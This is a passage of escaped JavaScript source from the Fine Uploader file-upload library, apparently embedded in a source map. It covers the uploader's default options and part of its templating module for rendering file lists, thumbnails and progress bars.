\"qq-upload-drop-area-active\"\n        },\n\n        failedUploadTextDisplay: {\n            mode: \"default\", //default, custom, or none\n            responseProperty: \"error\",\n            enableTooltip: true\n        },\n\n        messages: {\n            tooManyFilesError: \"You may only drop one file\",\n            unsupportedBrowser: \"Unrecoverable error - this browser does not permit file uploading of any kind.\"\n        },\n\n        retry: {\n            showAutoRetryNote: true,\n            autoRetryNote: \"Retrying {retryNum}/{maxAuto}...\"\n        },\n\n        deleteFile: {\n            forceConfirm: false,\n            confirmMessage: \"Are you sure you want to delete {filename}?\",\n            deletingStatusText: \"Deleting...\",\n            deletingFailedText: \"Delete failed\"\n\n        },\n\n        display: {\n            fileSizeOnSubmit: false,\n            prependFiles: false\n        },\n\n        paste: {\n            promptForName: false,\n            namePromptMessage: \"Please name this image\"\n        },\n\n        thumbnails: {\n            customResizer: null,\n            maxCount: 0,\n            placeholders: {\n                waitUntilResponse: false,\n                notAvailablePath: null,\n                waitingPath: null\n            },\n            timeBetweenThumbs: 750\n        },\n\n        scaling: {\n            hideScaled: false\n        },\n\n        showMessage: function(message) {\n            if (self._templating.hasDialog(\"alert\")) {\n                return self._templating.showDialog(\"alert\", message);\n            }\n            else {\n                setTimeout(function() {\n                    window.alert(message);\n                }, 0);\n            }\n        },\n\n        showConfirm: function(message) {\n            if (self._templating.hasDialog(\"confirm\")) {\n                return self._templating.showDialog(\"confirm\", message);\n            }\n            else {\n                return window.confirm(message);\n            }\n        },\n\n        showPrompt: function(message, defaultValue) {\n            if (self._templating.hasDialog(\"prompt\")) {\n                return self._templating.showDialog(\"prompt\", message, defaultValue);\n            }\n            else {\n                return window.prompt(message, defaultValue);\n            }\n        }\n    }, true);\n\n    // Replace any default options with user defined ones\n    qq.extend(this._options, o, true);\n\n    this._templating = new qq.Templating({\n        log: qq.bind(this.log, this),\n        templateIdOrEl: this._options.template,\n        containerEl: this._options.element,\n        fileContainerEl: this._options.listElement,\n        button: this._options.button,\n        imageGenerator: this._imageGenerator,\n        classes: {\n            hide: this._options.classes.hide,\n            editable: this._options.classes.editable\n        },\n        limits: {\n            maxThumbs: this._options.thumbnails.maxCount,\n            timeBetweenThumbs: this._options.thumbnails.timeBetweenThumbs\n        },\n        placeholders: {\n            waitUntilUpdate: this._options.thumbnails.placeholders.waitUntilResponse,\n            thumbnailNotAvailable: this._options.thumbnails.placeholders.notAvailablePath,\n            waitingForThumbnail: this._options.thumbnails.placeholders.waitingPath\n        },\n        text: this._options.text\n    });\n\n    if (this._options.workarounds.ios8SafariUploads && qq.ios800() && qq.iosSafari()) {\n        this._templating.renderFailure(this._options.messages.unsupportedBrowserIos8Safari);\n    }\n    else if (!qq.supportedFeatures.uploading || (this._options.cors.expected && !qq.supportedFeatures.uploadCors)) {\n        this._templating.renderFailure(this._options.messages.unsupportedBrowser);\n    }\n    else {\n        this._wrapCallbacks();\n\n        this._templating.render();\n\n        this._classes = this._options.classes;\n\n        if (!this._options.button && this._templating.getButton()) {\n            this._defaultButtonId = this._createUploadButton({\n                element: this._templating.getButton(),\n                title: this._options.text.fileInputTitle\n            }).getButtonId();\n        }\n\n        this._setupClickAndEditEventHandlers();\n\n        if (qq.DragAndDrop && qq.supportedFeatures.fileDrop) {\n            this._dnd = this._setupDragAndDrop();\n        }\n\n        if (this._options.paste.targetElement && this._options.paste.promptForName) {\n            if (qq.PasteSupport) {\n                this._setupPastePrompt();\n            }\n            else {\n                this.log(\"Paste support module not found.\", \"error\");\n            }\n        }\n\n        this._totalFilesInBatch = 0;\n        this._filesInBatchAddedToUi = 0;\n    }\n};\n\n// Inherit the base public & private API methods\nqq.extend(qq.FineUploader.prototype, qq.basePublicApi);\nqq.extend(qq.FineUploader.prototype, qq.basePrivateApi);\n\n// Add the FineUploader/default UI public & private UI methods, which may override some base methods.\nqq.extend(qq.FineUploader.prototype, qq.uiPublicApi);\nqq.extend(qq.FineUploader.prototype, qq.uiPrivateApi);\n","/* globals qq */\n/* jshint -W065 */\n/**\n * Module responsible for rendering all Fine Uploader UI templates.  This module also asserts at least\n * a limited amount of control over the template elements after they are added to the DOM.\n * Wherever possible, this module asserts total control over template elements present in the DOM.\n *\n * @param spec Specification object used to control various templating behaviors\n * @constructor\n */\nqq.Templating = function(spec) {\n    \"use strict\";\n\n    var FILE_ID_ATTR = \"qq-file-id\",\n        FILE_CLASS_PREFIX = \"qq-file-id-\",\n        THUMBNAIL_MAX_SIZE_ATTR = \"qq-max-size\",\n        THUMBNAIL_SERVER_SCALE_ATTR = \"qq-server-scale\",\n        // This variable is duplicated in the DnD module since it can function as a standalone as well\n        HIDE_DROPZONE_ATTR = \"qq-hide-dropzone\",\n        DROPZPONE_TEXT_ATTR = \"qq-drop-area-text\",\n        IN_PROGRESS_CLASS = \"qq-in-progress\",\n        HIDDEN_FOREVER_CLASS = \"qq-hidden-forever\",\n        fileBatch = {\n            content: document.createDocumentFragment(),\n            map: {}\n        },\n        isCancelDisabled = false,\n        generatedThumbnails = 0,\n        thumbnailQueueMonitorRunning = false,\n        thumbGenerationQueue = [],\n        thumbnailMaxSize = -1,\n        options = {\n            log: null,\n            limits: {\n                maxThumbs: 0,\n                timeBetweenThumbs: 750\n            },\n            templateIdOrEl: \"qq-template\",\n            containerEl: null,\n            fileContainerEl: null,\n            button: null,\n            imageGenerator: null,\n            classes: {\n                hide: \"qq-hide\",\n                editable: \"qq-editable\"\n            },\n            placeholders: {\n                waitUntilUpdate: false,\n                thumbnailNotAvailable: null,\n                waitingForThumbnail: null\n            },\n            text: {\n                paused: \"Paused\"\n            }\n        },\n        selectorClasses = {\n            button: \"qq-upload-button-selector\",\n            alertDialog: \"qq-alert-dialog-selector\",\n            dialogCancelButton: \"qq-cancel-button-selector\",\n            confirmDialog: \"qq-confirm-dialog-selector\",\n            dialogMessage: \"qq-dialog-message-selector\",\n            dialogOkButton: \"qq-ok-button-selector\",\n            promptDialog: \"qq-prompt-dialog-selector\",\n            uploader: \"qq-uploader-selector\",\n            drop: \"qq-upload-drop-area-selector\",\n            list: \"qq-upload-list-selector\",\n            progressBarContainer: \"qq-progress-bar-container-selector\",\n            progressBar: \"qq-progress-bar-selector\",\n            totalProgressBarContainer: \"qq-total-progress-bar-container-selector\",\n            totalProgressBar: \"qq-total-progress-bar-selector\",\n            file: \"qq-upload-file-selector\",\n            spinner: \"qq-upload-spinner-selector\",\n            size: \"qq-upload-size-selector\",\n            cancel: \"qq-upload-cancel-selector\",\n            pause: \"qq-upload-pause-selector\",\n            continueButton: \"qq-upload-continue-selector\",\n            deleteButton: \"qq-upload-delete-selector\",\n            retry: \"qq-upload-retry-selector\",\n            statusText: \"qq-upload-status-text-selector\",\n            editFilenameInput: \"qq-edit-filename-selector\",\n            editNameIcon: \"qq-edit-filename-icon-selector\",\n            dropText: \"qq-upload-drop-area-text-selector\",\n            dropProcessing: \"qq-drop-processing-selector\",\n            dropProcessingSpinner: \"qq-drop-processing-spinner-selector\",\n            thumbnail: \"qq-thumbnail-selector\"\n        },\n        previewGeneration = {},\n        cachedThumbnailNotAvailableImg = new qq.Promise(),\n        cachedWaitingForThumbnailImg = new qq.Promise(),\n        log,\n        isEditElementsExist,\n        isRetryElementExist,\n        templateHtml,\n        container,\n        fileList,\n        showThumbnails,\n        serverScale,\n\n        // During initialization of the templating module we should cache any\n        // placeholder images so we can quickly swap them into the file list on demand.\n        // Any placeholder images that cannot be loaded/found are simply ignored.\n        cacheThumbnailPlaceholders = function() {\n            var notAvailableUrl =  options.placeholders.thumbnailNotAvailable,\n                waitingUrl = options.placeholders.waitingForThumbnail,\n                spec = {\n                    maxSize: thumbnailMaxSize,\n                    scale: serverScale\n                };\n\n            if (showThumbnails) {\n                if (notAvailableUrl) {\n                    options.imageGenerator.generate(notAvailableUrl, new Image(), spec).then(\n                        function(updatedImg) {\n                            cachedThumbnailNotAvailableImg.success(updatedImg);\n                        },\n                        function() {\n                            cachedThumbnailNotAvailableImg.failure();\n                            log(\"Problem loading 'not available' placeholder image at \" + notAvailableUrl, \"error\");\n                        }\n                    );\n                }\n                else {\n                    cachedThumbnailNotAvailableImg.failure();\n                }\n\n                if (waitingUrl) {\n                    options.imageGenerator.generate(waitingUrl, new Image(), spec).then(\n                        function(updatedImg) {\n                            cachedWaitingForThumbnailImg.success(updatedImg);\n                        },\n                        function() {\n                            cachedWaitingForThumbnailImg.failure();\n                            log(\"Problem loading 'waiting for thumbnail' placeholder image at \" + waitingUrl, \"error\");\n                        }\n                    );\n                }\n                else {\n                    cachedWaitingForThumbnailImg.failure();\n                }\n            }\n        },\n\n        // Displays a \"waiting for thumbnail\" type placeholder image\n        // iff we were able to load it during initialization of the templating module.\n        displayWaitingImg = function(thumbnail) {\n            var waitingImgPlacement = new qq.Promise();\n\n            cachedWaitingForThumbnailImg.then(function(img) {\n                maybeScalePlaceholderViaCss(img, thumbnail);\n                /* jshint eqnull:true */\n                if (!thumbnail.src) {\n                    thumbnail.src = img.src;\n                    thumbnail.onload = function() {\n                        thumbnail.onload = null;\n                        show(thumbnail);\n                        waitingImgPlacement.success();\n                    };\n                }\n                else {\n                    waitingImgPlacement.success();\n                }\n            }, function() {\n                // In some browsers (such as IE9 and older) an img w/out a src attribute\n                // are displayed as \"broken\" images, so we should just hide the img tag\n                // if we aren't going to display the \"waiting\" placeholder.\n                hide(thumbnail);\n                waitingImgPlacement.success();\n            });\n\n            return waitingImgPlacement;\n        },\n\n        generateNewPreview = function(id, blob, spec) {\n            var thumbnail = getThumbnail(id);\n\n            log(\"Generating new thumbnail for \" + id);\n            blob.qqThumbnailId = id;\n\n            return options.imageGenerator.generate(blob, thumbnail, spec).then(\n                function() {\n                    generatedThumbnails++;\n                    show(thumbnail);\n                    previewGeneration[id].success();\n                },\n                function() {\n                    previewGeneration[id].failure();\n\n                    // Display the \"not available\" placeholder img only if we are\n                    // not expecting a thumbnail at a later point, such as in a server response.\n                    if (!options.placeholders.waitUntilUpdate) {\n                        maybeSetDisplayNotAvailableImg(id, thumbnail);\n                    }\n                });\n        },\n\n        generateNextQueuedPreview = function() {\n            if (thumbGenerationQueue.length) {\n                thumbnailQueueMonitorRunning = true;\n\n                var queuedThumbRequest = thumbGenerationQueue.shift();\n\n                if (queuedThumbRequest.update) {\n                    processUpdateQueuedPreviewRequest(queuedThumbRequest);\n                }\n                else {\n                    processNewQueuedPreviewRequest(queuedThumbRequest);\n                }\n            }\n            else {\n                thumbnailQueueMonitorRunning = false;\n            }\n        },\n\n        getCancel = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.cancel);\n        },\n\n        getContinue = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.continueButton);\n        },\n\n        getDialog = function(type) {\n            return getTemplateEl(container, selectorClasses[type + \"Dialog\"]);\n        },\n\n        getDelete = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.deleteButton);\n        },\n\n        getDropProcessing = function() {\n            return getTemplateEl(container, selectorClasses.dropProcessing);\n        },\n\n        getEditIcon = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.editNameIcon);\n        },\n\n        getFile = function(id) {\n            return fileBatch.map[id] || qq(fileList).getFirstByClass(FILE_CLASS_PREFIX + id);\n        },\n\n        getFilename = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.file);\n        },\n\n        getPause = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.pause);\n        },\n\n        getProgress = function(id) {\n            /* jshint eqnull:true */\n            // Total progress bar\n            if (id == null) {\n                return getTemplateEl(container, selectorClasses.totalProgressBarContainer) ||\n                    getTemplateEl(container, selectorClasses.totalProgressBar);\n            }\n\n            // Per-file progress bar\n            return getTemplateEl(getFile(id), selectorClasses.progressBarContainer) ||\n                getTemplateEl(getFile(id), selectorClasses.progressBar);\n        },\n\n        getRetry = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.retry);\n        },\n\n        getSize = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.size);\n        },\n\n        getSpinner = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.spinner);\n        },\n\n        getTemplateEl = function(context, cssClass) {\n            return context && qq(context).getFirstByClass(cssClass);\n        },\n\n        getThumbnail = function(id) {\n            return showThumbnails && getTemplateEl(getFile(id), selectorClasses.thumbnail);\n        },\n\n        hide = function(el) {\n            el && qq(el).addClass(options.classes.hide);\n        },\n\n        // Ensures a placeholder image does not exceed any max size specified\n        // via `style` attribute properties iff <canvas> was not used to scale\n        // the placeholder AND the target <img> doesn't already have these `style` attribute properties set.\n        maybeScalePlaceholderViaCss = function(placeholder, thumbnail) {\n            var maxWidth = placeholder.style.maxWidth,\n                maxHeight = placeholder.style.maxHeight;\n\n            if (maxHeight && maxWidth && !thumbnail.style.maxWidth && !thumbnail.style.maxHeight) {\n                qq(thumbnail).css({\n                    maxWidth: maxWidth,\n                    maxHeight: maxHeight\n                });\n            }\n        },\n\n        // Displays a \"thumbnail not available\" type placeholder image\n        // iff we were able to load this placeholder during initialization\n        // of the templating module or after preview generation has failed.\n        maybeSetDisplayNotAvailableImg = function(id, thumbnail) {\n            var previewing = previewGeneration[id] || new qq.Promise().failure(),\n                notAvailableImgPlacement = new qq.Promise();\n\n            cachedThumbnailNotAvailableImg.then(function(img) {\n                previewing.then(\n                    function() {\n                        notAvailableImgPlacement.success();\n                    },\n                    function() {\n                        maybeScalePlaceholderViaCss(img, thumbnail);\n\n                        thumbnail.onload = function() {\n                            thumbnail.onload = null;\n                            notAvailableImgPlacement.success();\n                        };\n\n                        thumbnail.src = img.src;\n                        show(thumbnail);\n                    }\n                );\n            });\n\n            return notAvailableImgPlacement;\n        },\n\n        /**\n         * Grabs the HTML from the script tag holding the template markup.  This function will also adjust\n         * some internally-tracked state variables based on the contents of the template.\n         * The template is filtered so that irrelevant elements (such as the drop zone if DnD is not supported)\n         * are omitted from the DOM.  Useful errors will be thrown if the template cannot be parsed.\n         *\n         * @returns {{template: *, fileTemplate: *}} HTML for the top-level file items templates\n         */\n        parseAndGetTemplate = function() {\n            var scriptEl,\n                scriptHtml,\n                fileListNode,\n                tempTemplateEl,\n                fileListHtml,\n                defaultButton,\n                dropArea,\n                thumbnail,\n                dropProcessing,\n                dropTextEl,\n                uploaderEl;\n\n            log(\"Parsing template\");\n\n            /*jshint -W116*/\n            if (options.templateIdOrEl == null) {\n                throw new Error(\"You MUST specify either a template element or ID!\");\n            }\n\n            // Grab the contents of the script tag holding the template.\n            if (qq.isString(options.templateIdOrEl)) {\n                scriptEl = document.getElementById(options.templateIdOrEl);\n\n                if (scriptEl === null) {\n                    throw new Error(qq.format(\"Cannot find template script at ID '{}'!\", options.templateIdOrEl));\n                }\n\n                scriptHtml = scriptEl.innerHTML;\n            }\n            else {\n                if (options.templateIdOrEl.innerHTML === undefined) {\n                    throw new Error(\"You have specified an invalid value for the template option!  \" +\n                        \"It must be an ID or an Element.\");\n                }\n\n                scriptHtml = options.templateIdOrEl.innerHTML;\n            }\n\n            scriptHtml = qq.trimStr(scriptHtml);\n            tempTemplateEl = document.createElement(\"div\");\n            tempTemplateEl.appendChild(qq.toElement(scriptHtml));\n            uploaderEl = qq(tempTemplateEl).getFirstByClass(selectorClasses.uploader);\n\n            // Don't include the default template button in the DOM\n            // if an alternate button container has been specified.\n            if (options.button) {\n                defaultButton = qq(tempTemplateEl).getFirstByClass(selectorClasses.button);\n                if (defaultButton) {\n                    qq(defaultButton).remove();\n                }\n            }\n\n            // Omit the drop processing element from the DOM if DnD is not supported by the UA,\n            // or the drag and drop module is not found.\n            // NOTE: We are consciously not removing the drop zone if the UA doesn't support DnD\n            // to support layouts where the drop zone is also a container for visible elements,\n            // such as the file list.\n            if (!qq.DragAndDrop || !qq.supportedFeatures.fileDrop) {\n                dropProcessing = qq(tempTemplateEl).getFirstByClass(selectorClasses.dropProcessing);\n                if (dropProcessing) {\n                    qq(dropProcessing).remove();\n                }\n            }\n\n            dropArea = qq(tempTemplateEl).getFirstByClass(selectorClasses.drop);\n\n            // If DnD is not available then remove\n            // it from the DOM as well.\n            if (dropArea && !qq.DragAndDrop) {\n                log(\"DnD module unavailable.\", \"info\");\n                qq(dropArea).remove();\n            }\n\n            if (!qq.supportedFeatures.fileDrop) {\n                // don't display any \"drop files to upload\" background text\n                uploaderEl.removeAttribute(DROPZPONE_TEXT_ATTR);\n\n                if (dropArea && qq(dropArea).hasAttribute(HIDE_DROPZONE_ATTR)) {\n                    // If there is a drop area defined in the template, and the current UA doesn't support DnD,\n                    // and the drop area is marked as \"hide before enter\", ensure it is hidden as the DnD module\n                    // will not do this (since we will not be loading the DnD module)\n                    qq(dropArea).css({\n                        display: \"none\"\n                    });\n                }\n            }\n            else if (qq(uploaderEl).hasAttribute(DROPZPONE_TEXT_ATTR) && dropArea) {\n                dropTextEl = qq(dropArea).getFirstByClass(selectorClasses.dropText);\n                dropTextEl && qq(dropTextEl).remove();\n            }\n\n            // Ensure the `showThumbnails` flag is only set if the thumbnail element\n            // is present in the template AND the current UA is capable of generating client-side previews.\n            thumbnail = qq(tempTemplateEl).getFirstByClass(selectorClasses.thumbnail);\n            if (!showThumbnails) {\n                thumbnail && qq(thumbnail).remove();\n            }\n            else if (thumbnail) {\n                thumbnailMaxSize = parseInt(thumbnail.getAttribute(THUMBNAIL_MAX_SIZE_ATTR));\n                // Only enforce max size if the attr value is non-zero\n                thumbnailMaxSize = thumbnailMaxSize > 0 ? thumbnailMaxSize : null;\n\n                serverScale = qq(thumbnail).hasAttribute(THUMBNAIL_SERVER_SCALE_ATTR);\n            }\n            showThumbnails = showThumbnails && thumbnail;\n\n            isEditElementsExist = qq(tempTemplateEl).getByClass(selectorClasses.editFilenameInput).length > 0;\n            isRetryElementExist = qq(tempTemplateEl).getByClass(selectorClasses.retry).length > 0;\n\n            fileListNode = qq(tempTemplateEl).getFirstByClass(selectorClasses.list);\n            /*jshint -W116*/\n            if (fileListNode == null) {\n                throw new Error(\"Could not find the file list container in the template!\");\n            }\n\n            fileListHtml = fileListNode.innerHTML;\n            fileListNode.innerHTML = \"\";\n\n            // We must call `createElement` in IE8 in order to target and hide any <dialog> via CSS\n            if (tempTemplateEl.getElementsByTagName(\"DIALOG\").length) {\n                document.createElement(\"dialog\");\n            }\n\n            log(\"Template parsing complete\");\n\n            return {\n                template: qq.trimStr(tempTemplateEl.innerHTML),\n                fileTemplate: qq.trimStr(fileListHtml)\n            };\n        },\n\n        prependFile = function(el, index, fileList) {\n            var parentEl = fileList,\n                beforeEl = parentEl.firstChild;\n\n            if (index > 0) {\n                beforeEl = qq(parentEl).children()[index].nextSibling;\n\n            }\n\n            parentEl.insertBefore(el, beforeEl);\n        },\n\n        processNewQueuedPreviewRequest = function(queuedThumbRequest) {\n            var id = queuedThumbRequest.id,\n                optFileOrBlob = queuedThumbRequest.optFileOrBlob,\n                relatedThumbnailId = optFileOrBlob && optFileOrBlob.qqThumbnailId,\n                thumbnail = getThumbnail(id),\n                spec = {\n                    customResizeFunction: queuedThumbRequest.customResizeFunction,\n                    maxSize: thumbnailMaxSize,\n                    orient: true,\n                    scale: true\n                };\n\n            if (qq.supportedFeatures.imagePreviews) {\n                if (thumbnail) {\n                    if (options.limits.maxThumbs && options.limits.maxThumbs <= generatedThumbnails) {\n                        maybeSetDisplayNotAvailableImg(id, thumbnail);\n                        generateNextQueuedPreview();\n                    }\n                    else {\n                        displayWaitingImg(thumbnail).done(function() {\n                            previewGeneration[id] = new qq.Promise();\n\n                            previewGeneration[id].done(function() {\n                                setTimeout(generateNextQueuedPreview, options.limits.timeBetweenThumbs);\n                            });\n\n                            /* jshint eqnull: true */\n                            // If we've already generated an <img> for this file, use the one that exists,\n                            // don't waste resources generating a new one.\n                            if (relatedThumbnailId != null) {\n                                useCachedPreview(id, relatedThumbnailId);\n                            }\n                            else {\n                                generateNewPreview(id, optFileOrBlob, spec);\n                            }\n                        });\n                    }\n                }\n                // File element in template may have been removed, so move on to next item in queue\n                else {\n                    generateNextQueuedPreview();\n                }\n            }\n            else if (thumbnail) {\n                displayWaitingImg(thumbnail);\n                generateNextQueuedPreview();\n            }\n        },\n\n        processUpdateQueuedPreviewRequest = function(queuedThumbRequest) {\n            var id = queuedThumbRequest.id,\n                thumbnailUrl = queuedThumbRequest.thumbnailUrl,\n                showWaitingImg = queuedThumbRequest.showWaitingImg,\n                thumbnail = getThumbnail(id),\n                spec = {\n                    customResizeFunction: queuedThumbRequest.customResizeFunction,\n                    scale: serverScale,\n                    maxSize: thumbnailMaxSize\n                };\n\n            if (thumbnail) {\n                if (thumbnailUrl) {\n                    if (options.limits.maxThumbs && options.limits.maxThumbs <= generatedThumbnails) {\n                        maybeSetDisplayNotAvailableImg(id, thumbnail);\n                        generateNextQueuedPreview();\n                    }\n                    else {\n                        if (showWaitingImg) {\n                            displayWaitingImg(thumbnail);\n                        }\n\n                        return options.imageGenerator.generate(thumbnailUrl, thumbnail, spec).then(\n                            function() {\n                                show(thumbnail);\n                                generatedThumbnails++;\n                                setTimeout(generateNextQueuedPreview, options.limits.timeBetweenThumbs);\n                            },\n\n                            function() {\n                                maybeSetDisplayNotAvailableImg(id, thumbnail);\n                                setTimeout(generateNextQueuedPreview, options.limits.timeBetweenThumbs);\n                            }\n                        );\n                    }\n                }\n                else {\n                    maybeSetDisplayNotAvailableImg(id, thumbnail);\n                    generateNextQueuedPreview();\n                }\n            }\n        },\n\n        setProgressBarWidth = function(id, percent) {\n            var bar = getProgress(id),\n                /* jshint eqnull:true */\n                progressBarSelector = id == null ? selectorClasses.totalProgressBar : selectorClasses.progressBar;\n\n            if (bar && !qq(bar).hasClass(progressBarSelector)) {\n                bar = qq(bar).getFirstByClass(progressBarSelector);\n            }\n\n            if (bar) {\n                qq(bar).css({width: percent + \"%\"});\n                bar.setAttribute(\"aria-valuenow\", percent);\n            }\n        },\n\n        show = function(el) {\n            el && qq(el).removeClass(options.classes.hide);\n        },\n\n        useCachedPreview = function(targetThumbnailId, cachedThumbnailId) {\n            var targetThumbnail = getThumbnail(targetThumbnailId),\n                cachedThumbnail = getThumbnail(cachedThumbnailId);\n\n            log(qq.format(\"ID {} is the same file as ID {}.  Will use generated thumbnail from ID {} instead.\", targetThumbnailId, cachedThumbnailId, cachedThumbnailId));\n\n            // Generation of the related thumbnail may still be in progress, so, wait until it is done.\n            previewGeneration[cachedThumbnailId].then(function() {\n                generatedThumbnails++;\n                previewGeneration[targetThumbnailId].success();\n                log(qq.format(\"Now using previously generated thumbnail created for ID {} on ID {}.\", cachedThumbnailId, targetThumbnailId));\n                targetThumbnail.src = cachedThumbnail.src;\n                show(targetThumbnail);\n            },\n            function() {\n                previewGeneration[targetThumbnailId].failure();\n                if (!options.placeholders.waitUntilUpdate) {\n                    maybeSetDisplayNotAvailableImg(targetThumbnailId, targetThumbnail);\n                }\n            });\n        };\n\n    qq.extend(options, spec);\n    log = options.log;\n\n    // No need to worry about conserving CPU or memory on older browsers,\n    // since there is no ability to preview, and thumbnail display is primitive and quick.\n    if (!qq.supportedFeatures.imagePreviews) {\n        options.limits.timeBetweenThumbs = 0;\n        options.limits.maxThumbs = 0;\n    }\n\n    container = options.containerEl;\n    showThumbnails = options.imageGenerator !== undefined;\n    templateHtml = parseAndGetTemplate();\n\n    cacheThumbnailPlaceholders();\n\n    qq.extend(this, {\n        render: function() {\n            log(\"Rendering template in DOM.\");\n\n            generatedThumbnails = 0;\n\n            container.innerHTML = templateHtml.template;\n            hide(getDropProcessing());\n            this.hideTotalProgress();\n            fileList = options.fileContainerEl || getTemplateEl(container, selectorClasses.list);\n\n            log(\"Template rendering complete\");\n        },\n\n        renderFailure: function(message) {\n            var cantRenderEl = qq.toElement(message);\n            container.innerHTML = \"\";\n            container.appendChild(cantRenderEl);\n        },\n\n        reset: function() {\n            this.render();\n        },\n\n        clearFiles: function() {\n            fileList.innerHTML = \"\";\n        },\n\n        disableCancel: function() {\n            isCancelDisabled = true;\n        },\n\n        addFile: function(id, name, prependInfo, hideForever, batch) {\n            var fileEl = qq.toElement(templateHtml.fileTemplate),\n                fileNameEl = getTemplateEl(fileEl, selectorClasses.file),\n                uploaderEl = getTemplateEl(container, selectorClasses.uploader),\n                fileContainer = batch ? fileBatch.content : fileList,\n                thumb;\n\n            if (batch) {\n                fileBatch.map[id] = fileEl;\n            }\n\n            qq(fileEl).addClass(FILE_CLASS_PREFIX + id);\n            uploaderEl.removeAttribute(DROPZPONE_TEXT_ATTR);\n\n            if (fileNameEl) {\n                qq(fileNameEl).setText(name);\n                fileNameEl.setAttribute(\"title\", name);\n            }\n\n            fileEl.setAttribute(FILE_ID_ATTR, id);\n\n            if (prependInfo) {\n                prependFile(fileEl, prependInfo.index, fileContainer);\n            }\n            else {\n                fileContainer.appendChild(fileEl);\n            }\n\n            if (hideForever) {\n                fileEl.style.display = \"none\";\n                qq(fileEl).addClass(HIDDEN_FOREVER_CLASS);\n            }\n            else {\n                hide(getProgress(id));\n                hide(getSize(id));\n                hide(getDelete(id));\n                hide(getRetry(id));\n                hide(getPause(id));\n                hide(getContinue(id));\n\n                if (isCancelDisabled) {\n                    this.hideCancel(id);\n                }\n\n                thumb = getThumbnail(id);\n                if (thumb && !thumb.src) {\n                    cachedWaitingForThumbnailImg.then(function(waitingImg) {\n                        thumb.src = waitingImg.src;\n                        if (waitingImg.style.maxHeight && waitingImg.style.maxWidth) {\n                            qq(thumb).css({\n                                maxHeight: waitingImg.style.maxHeight,\n                                maxWidth: waitingImg.style.maxWidth\n                            });\n                        }\n\n                        show(thumb);\n                    });\n                }\n            }\n        },\n\n        addFileToCache: function(id, name, prependInfo, hideForever) {\n            this.addFile(id, name, prependInfo, hideForever, true);\n        },\n\n        addCacheToDom: function() {\n            fileList.appendChild(fileBatch.content);\n            fileBatch.content = document.createDocumentFragment();\n            fileBatch.map = {};\n        },\n\n        removeFile: function(id) {\n            qq(getFile(id)).remove();\n        },\n\n        getFileId: function(el) {\n            var currentNode = el;\n\n            if (currentNode) {\n                /*jshint -W116*/\n                while (currentNode.getAttribute(FILE_ID_ATTR) == null) {\n                    currentNode = currentNode.parentNode;\n                }\n\n                return parseInt(currentNode.getAttribute(FILE_ID_ATTR));\n            }\n        },\n\n        getFileList: function() {\n            return fileList;\n        },\n\n        markFilenameEditable: function(id) {\n            var filename = getFilename(id);\n\n            filename && qq(filename).addClass(options.classes.editable);\n        },\n\n        updateFilename: function(id, name) {\n            var filenameEl = getFilename(id);\n\n            if (filenameEl) {\n                qq(filenameEl).setText(name);\n                filenameEl.setAttribute(\"title\", name);\n            }\n        },\n\n        hideFilename: function(id) {\n            hide(getFilename(id));\n        },\n\n        showFilename: function(id) {\n            show(getFilename(id));\n        },\n\n        isFileName: function(el) {\n            return qq(el).hasClass(selectorClasses.file);\n        },\n\n        getButton: function() {\n            return options.button || getTemplateEl(container, selectorClasses.button);\n        },\n\n        hideDropProcessing: function() {\n            hide(getDropProcessing());\n        },\n\n        showDropProcessing: function() {\n            show(getDropProcessing());\n        },\n\n        getDropZone: function() {\n            return getTemplateEl(container, selectorClasses.drop);\n        },\n\n        isEditFilenamePossible: function() {\n            return isEditElementsExist;\n        },\n\n        hideRetry: function(id) {\n            hide(getRetry(id));\n        },\n\n        isRetryPossible: function() {\n            return isRetryElementExist;\n        },\n\n        showRetry: function(id) {\n            show(getRetry(id));\n        },\n\n        getFileContainer: function(id) {\n            return getFile(id);\n        },\n\n        showEditIcon: function(id) {\n            var icon = getEditIcon(id);\n\n            icon && qq(icon).addClass(options.classes.editable);\n        },\n\n        isHiddenForever: function(id) {\n            return qq(getFile(id)).hasClass(HIDDEN_FOREVER_CLASS);\n        },\n\n        hideEditIcon: function(id) {\n            var icon = getEditIcon(id);\n\n            icon && qq(icon).removeClass(options.classes.editable);\n        },\n\n        isEditIcon: function(el) {\n            return qq(el).hasClass(selectorClasses.editNameIcon, true);\n        },\n\n        getEditInput: function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.editFilenameInput);\n        },\n\n        isEditInput: function(el) {\n            return qq(el).hasClass(selectorClasses.editFilenameInput, true);\n        },\n\n        updateProgress: function(id, loaded, total) {\n            var bar = getProgress(id),\n                percent;\n\n            if (bar && total > 0) {\n                percent = Math.round(loaded / total * 100);\n\n                if (percent === 100) {\n                    hide(bar);\n                }\n                else {\n                    show(bar);\n                }\n\n                setProgressBarWidth(id, percent);\n            }\n        },\n\n        updateTotalProgress: function(loaded, total) {\n            this.updateProgress(null, loaded, total);\n        },\n\n        hideProgress: function(id) {\n            var bar = getProgress(id);\n\n            bar && hide(bar);\n        },\n\n        hideTotalProgress: function() {\n            this.hideProgress();\n        },\n\n        resetProgress: function(id) {\n            setProgressBarWidth(id, 0);\n            this.hideTotalProgress(id);\n        },\n\n        resetTotalProgress: function() {\n            this.resetProgress();\n        },\n\n        showCancel: function(id) {\n            if (!isCancelDisabled) {\n                var cancel = getCancel(id);\n\n                cancel && qq(cancel).removeClass(options.classes.hide);\n            }\n        },\n\n        hideCancel: function(id) {\n            hide(getCancel(id));\n        },\n\n        isCancel: function(el)  {\n            return qq(el).hasClass(selectorClasses.cancel, true);\n        },\n\n        allowPause: function(id) {\n            show(getPause(id));\n            hide(getContinue(id));\n        },\n\n        uploadPaused: function(id) {\n            this.setStatusText(id, options.text.paused);\n            this.allowContinueButton(id);\n            hide(getSpinner(id));\n        },\n\n        hidePause: function(id) {\n            hide(getPause(id));\n        },\n\n        isPause: function(el) {\n            return qq(el).hasClass(selectorClasses.pause, true);\n        },\n\n        isContinueButton: function(el) {\n            return qq(el).hasClass(selectorClasses.continueButton, true);\n        },\n\n        allowContinueButton: function(id) {\n            show(getContinue(id));\n            hide(getPause(id));\n        },\n\n        uploadContinued: function(id) {\n            this.setStatusText(id, \"\");\n            